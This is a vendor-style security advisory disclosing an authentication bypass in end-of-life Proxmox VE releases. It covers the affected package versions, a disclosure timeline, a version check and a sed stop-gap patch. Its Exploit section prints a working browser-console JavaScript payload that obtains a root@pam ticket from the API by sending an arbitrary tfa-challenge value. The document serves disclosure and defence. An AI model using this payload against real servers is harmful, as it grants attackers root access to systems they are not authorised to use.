NebuNebu/Bug List/PSA-2026-00043-1
Finding·Proxmox VE·libpve-access-control · API authentication·Sep 01, 2026
PSA-2026-00043-1

Arbitrary TFA challenges bypass password verification in EOL Proxmox VE releases

POST /api2/json/access/ticket · tfa-challenge
Affectslibpve-access-control >= 7.0-7 and < 8.0.4Proxmox VE 7.x (EOL)Initial Proxmox VE 8.0 release (EOL)
Disclosure timeline
  1. Code path fixed
    Jul 14, 2023
  2. In-the-wild exploitation reported
    Aug 28, 2026
  3. Proxmox and NebuSec disclose details
    Sep 01, 2026

Summary

PSA-2026-00043-1 is an authentication bypass in end-of-life Proxmox VE releases. The ticket API accepts a signed, half-authenticated TFA challenge in the tfa-challenge parameter. Affected versions neither validate that value for users without a configured second factor nor verify the submitted password when the parameter is present.

An unauthenticated attacker who can reach the Proxmox API on port 8006, directly or through a reverse proxy, can therefore authenticate as any existing, enabled user without TFA. This includes root@pam by default.

No supported Proxmox VE release is affected. The vulnerable range is libpve-access-control >= 7.0-7 and < 8.0.4; check the installed package rather than relying on the overall Proxmox VE version with dpkg-query -W -f '${Version}\n' libpve-access-control.

Exploit

The bypass only requires an arbitrary tfa-challenge value. The following browser-console payload requests a root@pam ticket, installs it as the web UI authentication cookie, and reloads the page:

(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
"tfa-challenge": "NEBUSEC-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})();

Patch

The vulnerable code path was changed on July 14, 2023 and the fix shipped in libpve-access-control 8.0.4. Because the authentication impact was not known at the time, it was not backported to the Proxmox VE 7 branch.

For an affected installation that cannot be upgraded immediately, the official Proxmox advisory provides this stop-gap, which adds signature validation before accepting a TFA challenge:

Terminal window
sed -i.bck 's/^\t# This is the 2nd factor, use the password for the OTP response.$/\tverify_ticket($tfa_challenge, 0, $username);\n\t# This is the 2nd factor, use the password for the OTP response./' /usr/share/perl5/PVE/AccessControl.pm
grep -n 'verify_ticket($tfa_challenge, 0, $username)' /usr/share/perl5/PVE/AccessControl.pm | wc -l
systemctl reload-or-restart pvedaemon pveproxy

The grep command must print 3; any other result means the patch did not apply. Restricting API access to trusted networks and configuring a second factor also block this attack, but upgrading to a supported Proxmox VE release is the only durable fix.

Nebu · AI security research

Find bugs in your code. Before anyone else does.